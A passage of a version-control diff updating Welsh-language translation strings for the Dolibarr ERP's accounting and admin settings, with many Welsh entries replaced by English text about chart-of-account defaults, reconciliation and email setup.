MainAccountForSubscriptionPaymentNotDefined=Prif gyfrif cyfrifo ar gyfer taliad tanysgrifiad heb ei ddiffinio yn y gosodiad +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Maes cyfrifo AccountancyAreaDescIntro=Gwneir defnydd o'r modiwl cyfrifeg mewn sawl cam: @@ -100,7 +101,8 @@ ShowAccountingAccount=Dangos cyfrif cyfrifeg ShowAccountingJournal=Dangos dyddlyfr cyfrifo ShowAccountingAccountInLedger=Dangos cyfrif cyfrifeg yn y cyfriflyfr ShowAccountingAccountInJournals=Dangos cyfrif cyfrifeg mewn cyfnodolion -AccountAccountingSuggest=Awgrymu cyfrif cyfrifo +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Cyfrifon rhagosodedig MenuBankAccounts=Cyfrifon banc MenuVatAccounts=Cyfrifon TAW @@ -125,6 +127,7 @@ WriteBookKeeping=Cofnodi trafodion mewn cyfrifeg Bookkeeping=Cyfriflyfr BookkeepingSubAccount=Subledger AccountBalance=Balans cyfrif +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Ffynhonnell gwrthrych cyf CAHTF=Cyfanswm y gwerthwr pryniant cyn treth TotalExpenseReport=Adroddiad cyfanswm gwariant @@ -164,40 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Galluogi rhestr combo ar gyfer cyfrif atodol (gall fod ACCOUNTING_DATE_START_BINDING=Diffinio dyddiad i ddechrau rhwymo a throsglwyddo mewn cyfrifyddiaeth. O dan y dyddiad hwn, ni fydd y trafodion yn cael eu trosglwyddo i gyfrifeg. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Gwerthu dyddlyfr -ACCOUNTING_PURCHASE_JOURNAL=Dyddiadur prynu -ACCOUNTING_MISCELLANEOUS_JOURNAL=Dyddlyfr amrywiol +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Cyfnodolyn adroddiad treuliau -ACCOUNTING_SOCIAL_JOURNAL=Cylchgrawn cymdeithasol +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Mae ganddo Newyddiadur newydd +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Cylchgrawn cymdeithasol ACCOUNTING_RESULT_PROFIT=Cyfrif cyfrifo canlyniad (Elw) ACCOUNTING_RESULT_LOSS=Cyfrif cyfrifo canlyniad (Colled) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Dyddiadur cau -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cyfrif cyfrifo trosglwyddiad banc trosiannol +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Cyfrif trosglwyddo banc trosiannol -ACCOUNTING_ACCOUNT_SUSPENSE=Cyfrif cyfrif o aros -DONATION_ACCOUNTINGACCOUNT=Cyfrif cyfrifo i gofrestru rhoddion -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cyfrif cyfrif i gofrestru tanysgrifiadau +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Cyfrif cyfrifo yn ddiofyn i gofrestru blaendal cwsmer +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y cynhyrchion a brynwyd (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen cynnyrch) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y cynhyrchion a brynwyd yn EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen cynnyrch) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y cynhyrchion a brynwyd ac a fewnforiwyd allan o EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen cynnyrch) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y cynhyrchion a werthwyd (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen cynnyrch) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y cynhyrchion a werthir yn EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen cynnyrch) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y cynhyrchion a werthir ac a allforiwyd allan o EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen cynnyrch) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y gwasanaethau a brynwyd (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen gwasanaeth) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y gwasanaethau a brynwyd yn EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen gwasanaeth) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y gwasanaethau a brynwyd ac a fewnforiwyd allan o EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen gwasanaeth) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y gwasanaethau a werthwyd (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen gwasanaeth) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y gwasanaethau a werthir yn EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen gwasanaeth) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer y gwasanaethau a werthwyd ac a allforiwyd allan o EEC (a ddefnyddir os nad yw wedi'i ddiffinio yn y daflen gwasanaeth) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Math o ddogfen Docdate=Dyddiad @@ -212,7 +220,8 @@ Codejournal=Dyddlyfr JournalLabel=Label cyfnodolyn NumPiece=Rhif y darn TransactionNumShort=Rhif. trafodiad -AccountingCategory=Grŵp personol +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Grwpio yn ôl cyfrif cyfriflyfr cyffredinol GroupBySubAccountAccounting=Grwpio yn ôl cyfrif subledger AccountingAccountGroupsDesc=Gallwch ddiffinio yma rai grwpiau o gyfrifon cyfrifeg. Cânt eu defnyddio ar gyfer adroddiadau cyfrifyddu personol. @@ -260,19 +269,20 @@ ShowSubtotalByGroup=Dangos is-gyfanswm yn ôl lefel Pcgtype=Grŵp o gyfrifon PcgtypeDesc=Defnyddir grŵp cyfrifon fel meini prawf 'hidlo' a 'grwpio' rhagnodedig ar gyfer rhai adroddiadau cyfrifyddu. Er enghraifft, defnyddir 'INCOME' neu 'GREUL' fel grwpiau ar gyfer cyfrifon cyfrifon cynhyrchion i adeiladu'r adroddiad treuliau/incwm. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Cymodi TotalVente=Cyfanswm trosiant cyn treth TotalMarge=Cyfanswm yr elw gwerthiant -DescVentilCustomer=Ymgynghorwch yma â'r rhestr o linellau anfonebau cwsmeriaid sydd wedi'u rhwymo (neu beidio) i gyfrif cyfrifyddu cynnyrch -DescVentilMore=Yn y rhan fwyaf o achosion, os ydych chi'n defnyddio cynhyrchion neu wasanaethau wedi'u diffinio ymlaen llaw a'ch bod chi'n gosod rhif y cyfrif ar y cerdyn cynnyrch/gwasanaeth, bydd y cais yn gallu gwneud yr holl rwymiad rhwng llinellau eich anfoneb a chyfrif cyfrifo eich siart o gyfrifon, dim ond yn un clic gyda'r botwm "%s" . Os na osodwyd cyfrif ar gardiau cynnyrch/gwasanaeth neu os oes gennych rai llinellau heb eu rhwymo i gyfrif o hyd, bydd yn rhaid i chi wneud rhwymiad â llaw o'r ddewislen " %s ". -DescVentilDoneCustomer=Ymgynghorwch yma â'r rhestr o'r llinellau anfonebau cwsmeriaid a'u cyfrif cyfrifo cynnyrch -DescVentilTodoCustomer=Rhwymo llinellau anfoneb nad ydynt eisoes wedi'u rhwymo â chyfrif cyfrifyddu cynnyrch -ChangeAccount=Newidiwch y cyfrif cyfrifo cynnyrch/gwasanaeth ar gyfer llinellau dethol gyda'r cyfrif cyfrifo canlynol: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Ymgynghorwch yma â'r rhestr o linellau anfonebau gwerthwr sydd wedi'u rhwymo neu heb eu rhwymo eto i gyfrif cyfrifyddu cynnyrch (dim ond cofnod nad yw eisoes wedi'i drosglwyddo mewn cyfrifyddiaeth sydd i'w weld) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Ymgynghorwch yma â'r rhestr o linellau anfonebau gwerthwyr a'u cyfrif cyfrifyddu DescVentilTodoExpenseReport=Rhwymo llinellau adroddiad treuliau nad ydynt eisoes wedi'u rhwymo â chyfrif cyfrifo ffioedd DescVentilExpenseReport=Ymgynghorwch yma â'r rhestr o linellau adrodd ar dreuliau sydd wedi'u rhwymo (neu ddim) i gyfrif cyfrifyddu ffioedd @@ -280,24 +290,25 @@ DescVentilExpenseReportMore=Os ydych chi'n gosod cyfrif cyfrifyddu ar y math o l DescVentilDoneExpenseReport=Ymgynghorwch yma â'r rhestr o linellau adroddiadau treuliau a'u cyfrif cyfrifo ffioedd Closure=Cau blynyddol -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Dilysu a chloi cofnod... +ValidateMovements=Validate and lock movements... DescValidateMovements=Gwaherddir unrhyw newid neu ddileu ysgrifen, llythrennau a dileadau. Rhaid dilysu pob cynnig ar gyfer ymarfer neu ni fydd cau yn bosibl ValidateHistory=Rhwymo'n Awtomatig AutomaticBindingDone=Cwblhawyd rhwymiadau awtomatig (%s) - Nid yw rhwymo awtomatig yn bosibl ar gyfer rhywfaint o gofnod (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Gwall, ni allwch ddileu'r cyfrif cyfrifo hwn oherwydd ei fod yn cael ei ddefnyddio +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Cydbwyso FicheVentilation=Cerdyn rhwymo GeneralLedgerIsWritten=Ysgrifennir trafodion yn y Cyfriflyfr GeneralLedgerSomeRecordWasNotRecorded=Ni ellid newyddiadura rhai o'r trafodion. Os nad oes unrhyw neges gwall arall, mae'n debyg mai'r rheswm am hyn yw eu bod eisoes wedi'u newyddiaduron. NoNewRecordSaved=Dim mwy o gofnod i'w drosglwyddo -ListOfProductsWithoutAccountingAccount=Rhestr o gynhyrchion nad ydynt wedi'u rhwymo i unrhyw gyfrif cyfrifyddu +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Newid y rhwymiad Accounted=Cyfrifir yn y cyfriflyfr NotYetAccounted=Heb ei drosglwyddo eto i gyfrifeg @@ -320,9 +331,10 @@ AccountingJournalType1=Gweithrediadau amrywiol AccountingJournalType2=Gwerthiant AccountingJournalType3=Pryniannau AccountingJournalType4=Banc -AccountingJournalType5=Adroddiad treuliau +AccountingJournalType5=Expense reports AccountingJournalType8=Stocrestr AccountingJournalType9=Wedi-newydd +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Mae'r cyfnodolyn hwn eisoes yn cael ei ddefnyddio AccountingAccountForSalesTaxAreDefinedInto=Nodyn: Diffinnir cyfrif cyfrifo ar gyfer treth Gwerthiant yn y ddewislen %s - %s a09a4b73zf NumberOfAccountancyEntries=Nifer y cofnodion @@ -330,10 +342,14 @@ NumberOfAccountancyMovements=Nifer y symudiadau ACCOUNTING_DISABLE_BINDING_ON_SALES=Analluogi rhwymo a throsglwyddo cyfrifyddiaeth ar werthiannau (ni fydd anfonebau cwsmeriaid yn cael eu hystyried wrth gyfrifo) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Analluogi rhwymo a throsglwyddo cyfrifyddiaeth ar bryniannau (ni fydd anfonebau gwerthwr yn cael eu hystyried wrth gyfrifo) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Analluogi rhwymo a throsglwyddo cyfrifon ar adroddiadau treuliau (ni fydd adroddiadau gwariant yn cael eu hystyried wrth gyfrifo) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Baner llinellau wedi'u hallforio fel Allforiwyd (i addasu llinell, bydd angen i chi ddileu'r trafodiad cyfan a'i ail-drosglwyddo i gyfrifeg) NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Dyddiad dilysu a chlo ConfirmExportFile=Cadarnhad o gynhyrchu'r ffeil allforio cyfrifo ? ExportDraftJournal=Allforio cyfnodolyn drafft @@ -390,7 +406,7 @@ SaleLocal=Gwerthiant lleol SaleExport=Gwerthu allforio SaleEEC=Gwerthu yn EEC SaleEECWithVAT=Gwerthiant mewn EEC gyda TAW nid nwl, felly mae'n debyg NID yw hwn yn werthiant mewngymunedol a'r cyfrif a awgrymir yw'r cyfrif cynnyrch safonol. -SaleEECWithoutVATNumber=Gwerthu mewn EEC heb TAW ond nid yw ID TAW trydydd parti wedi'i ddiffinio. Rydym wrth gefn ar y cyfrif cynnyrch ar gyfer gwerthiannau safonol. Gallwch drwsio ID TAW trydydd parti neu gyfrif y cynnyrch os oes angen. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Wedi'i wahardd: Mae'r trafodiad wedi'i ddilysu a/neu ei allforio. ForbiddenTransactionAlreadyValidated=Wedi'i wahardd: Mae'r trafodiad wedi'i ddilysu. ## Dictionary @@ -399,7 +415,11 @@ Calculated=Wedi'i gyfrifo Formula=Fformiwla ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -408,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -429,6 +450,7 @@ AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Cofnodion cyfrifeg @@ -455,6 +477,7 @@ FECFormatMulticurrencyCode=Cod aml-arian (Dyfeisio) DateExport=Dyddiad allforio WarningReportNotReliable=Rhybudd, nid yw'r adroddiad hwn yn seiliedig ar y Cyfriflyfr, felly nid yw'n cynnwys trafodiad a addaswyd â llaw yn y Cyfriflyfr. Os yw eich cyfnodolyn yn gyfredol, mae'r olwg cadw cyfrifon yn fwy cywir. ExpenseReportJournal=Cyfnodolyn Adroddiad Treuliau -InventoryJournal=Cylchgrawn Stocrestr +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s cyfrifon diff --git a/htdocs/langs/cy_GB/admin.lang b/htdocs/langs/cy_GB/admin.lang index 8fb094542d6..32d0d09b175 100644 --- a/htdocs/langs/cy_GB/admin.lang +++ b/htdocs/langs/cy_GB/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Coladu cleient WarningModuleNotActive=Rhaid galluogi modiwl %s WarningOnlyPermissionOfActivatedModules=Dim ond caniatadau sy'n ymwneud â modiwlau actifedig a ddangosir yma. Gallwch actifadu modiwlau eraill yn y dudalen Cartref-> Gosod-> Modiwlau. DolibarrSetup=Gosod neu uwchraddio Dolibarr -InternalUser=Defnyddiwr mewnol -ExternalUser=Defnyddiwr allanol InternalUsers=Defnyddwyr mewnol ExternalUsers=Defnyddwyr allanol UserInterface=Rhyngwyneb defnyddiwr @@ -147,6 +145,7 @@ Box=Teclyn Boxes=Teclynnau MaxNbOfLinesForBoxes=Max. nifer y llinellau ar gyfer teclynnau AllWidgetsWereEnabled=Mae'r holl widgets sydd ar gael wedi'u galluogi +WidgetAvailable=Widget available PositionByDefault=Gorchymyn diofyn Position=Swydd MenusDesc=Mae rheolwyr dewislen yn gosod cynnwys y ddau far dewislen (llorweddol a fertigol). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Gwesteiwr SMTP/SMTPS (gwerth diofyn yn php.ini: %s %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Mae e-bost a ddefnyddir ar gyfer gwall yn dychwelyd e-byst (meysydd 'Gwallau-I' mewn e-byst a anfonwyd) MAIN_MAIL_AUTOCOPY_TO= Copïwch (Bcc) yr holl negeseuon e-bost a anfonwyd at MAIN_DISABLE_ALL_MAILS=Analluogi anfon pob e-bost (at ddibenion prawf neu demos) @@ -375,7 +375,7 @@ DoTestSendHTML=Prawf anfon HTML ErrorCantUseRazIfNoYearInMask=Gwall, ni ellir defnyddio opsiwn @ i ailosod cownter bob blwyddyn os nad yw dilyniant {yy} neu {yyyy} mewn mwgwd. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Gwall, ni allwn ddefnyddio opsiwn @ os nad yw dilyniant {yy}{mm} neu {yyyy}{mm} mewn mwgwd. UMask=Paramedr UMask ar gyfer ffeiliau newydd ar system ffeiliau Unix/Linux/BSD/Mac. -UMaskExplanation=Mae'r paramedr hwn yn caniatáu ichi ddiffinio caniatâd a osodwyd yn ddiofyn ar ffeiliau a grëwyd gan Dolibarr ar y gweinydd (yn ystod uwchlwytho er enghraifft).
      Rhaid iddo fod y gwerth wythol (er enghraifft, mae 0666 yn golygu darllen ac ysgrifennu i bawb).
      Mae'r paramedr hwn yn ddiwerth ar weinydd Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Cymerwch olwg ar y dudalen Wiki am restr o gyfranwyr a'u sefydliad UseACacheDelay= Oedi ar gyfer caching ymateb allforio mewn eiliadau (0 neu wag am ddim celc) DisableLinkToHelpCenter=Cuddio'r ddolen " Angen help neu gefnogaeth " ar y dudalen mewngofnodi @@ -439,8 +439,10 @@ Unique=Unigryw Boolean=Boolean (un blwch ticio) ExtrafieldPhone = Ffon ExtrafieldPrice = Pris +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Ebost ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Dewiswch restr ExtrafieldSelectList = Dewiswch o'r tabl ExtrafieldSeparator=Gwahanydd (nid maes) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Blychau ticio ExtrafieldCheckBoxFromList=Blychau ticio o'r bwrdd ExtrafieldLink=Cyswllt i wrthrych ComputedFormula=Maes cyfrifiadurol -ComputedFormulaDesc=Gallwch chi nodi fformiwla yma gan ddefnyddio priodweddau gwrthrych arall neu unrhyw god PHP i gael gwerth cyfrifiadurol deinamig. Gallwch ddefnyddio unrhyw fformiwlâu sy'n gydnaws â PHP gan gynnwys y "?" gweithredwr cyflwr, a gwrthrych byd-eang canlynol: $db, $conf, $langs, $mysoc, $user, $object .
      RHYBUDD : Dim ond rhai priodweddau $object all fod ar gael. Os oes angen eiddo arnoch heb ei lwytho, rhowch y gwrthrych i'ch fformiwla fel yn yr ail enghraifft.
      Mae defnyddio maes cyfrifiadurol yn golygu na allwch nodi unrhyw werth o'r rhyngwyneb i chi'ch hun. Hefyd, os oes gwall cystrawen, efallai na fydd y fformiwla yn dychwelyd dim.

      Enghraifft o fformiwla:
      $object->id < 10 ? round($object-> id / 2, 2): ($object->id + 2 * $user->id) * ($mys) substr($mys) substr(>2), )

      Enghraifft i ail-lwytho gwrthrych
      (($reloadedobj = Cymdeithas newydd($db)) && ($reloadedobj->fetchNoCompute($obj->id ?> ($obj->id ): $obj->id >rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->cyfalaf / 5: '-1'

      Enghraifft arall o fformiwla i orfodi llwyth o wrthrych a'i riant wrthrych: a0342fccfda(19reloadbz0($j) newydd )) && ($reloadedobj->fetchNoCompute($object->id)> 0) && ($secondloadedobj = Prosiect newydd($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Heb ganfod y prosiect rhiant' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Storio maes cyfrifiadurol ComputedpersistentDesc=Bydd meysydd ychwanegol a gyfrifir yn cael eu storio yn y gronfa ddata, fodd bynnag, dim ond pan fydd gwrthrych y maes hwn yn cael ei newid y bydd y gwerth yn cael ei ailgyfrifo. Os yw'r maes a gyfrifwyd yn dibynnu ar wrthrychau eraill neu ddata byd-eang efallai bod y gwerth hwn yn anghywir!! ExtrafieldParamHelpPassword=Mae gadael y maes hwn yn wag yn golygu y bydd y gwerth hwn yn cael ei storio heb ei amgryptio (rhaid cuddio'r maes gyda seren ar y sgrin yn unig).
      Gosod 'auto' i ddefnyddio'r rheol amgryptio rhagosodedig i gadw cyfrinair yn y gronfa ddata (yna y gwerth a ddarllenir fydd y stwnsh yn unig, dim ffordd i adfer y gwerth gwreiddiol) @@ -477,7 +479,7 @@ InstalledInto=Wedi'i osod yn y cyfeiriadur %s BarcodeInitForThirdparties=Init cod bar torfol ar gyfer trydydd parti BarcodeInitForProductsOrServices=Init cod bar torfol neu ailosod ar gyfer cynhyrchion neu wasanaethau CurrentlyNWithoutBarCode=Ar hyn o bryd, mae gennych %s cofnod ar %s a0a65d071f6fc9fz0 barcode diffiniedig. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Dileu holl werthoedd cod bar cyfredol ConfirmEraseAllCurrentBarCode=Ydych chi'n siŵr eich bod am ddileu'r holl werthoedd cod bar cyfredol? AllBarcodeReset=Mae holl werthoedd cod bar wedi'u dileu @@ -501,7 +503,8 @@ WarningPHPMail=RHYBUDD: Mae'r gosodiad i anfon e-byst o'r rhaglen yn defnyddio'r WarningPHPMailA=- Mae defnyddio gweinydd y Darparwr Gwasanaeth E-bost yn cynyddu dibynadwyedd eich e-bost, felly mae'n cynyddu'r gallu i'w gyflwyno heb gael ei nodi fel SPAM WarningPHPMailB=- Nid yw rhai Darparwyr Gwasanaeth E-bost (fel Yahoo) yn caniatáu ichi anfon e-bost o weinydd arall yn hytrach na'u gweinydd eu hunain. Mae eich gosodiad presennol yn defnyddio gweinydd y rhaglen i anfon e-bost ac nid gweinydd eich darparwr e-bost, felly bydd rhai derbynwyr (yr un sy'n gydnaws â'r protocol DMARC cyfyngol), yn gofyn i'ch darparwr e-bost a allant dderbyn eich e-bost a rhai darparwyr e-bost Efallai y bydd (fel Yahoo) yn ymateb "na" oherwydd nad yw'r gweinydd yn perthyn iddynt, felly mae'n bosibl na fydd ychydig o'r E-byst a anfonwyd gennych yn cael eu derbyn i'w hanfon (byddwch yn ofalus hefyd o gwota anfon eich darparwr e-bost). WarningPHPMailC=- Mae defnyddio 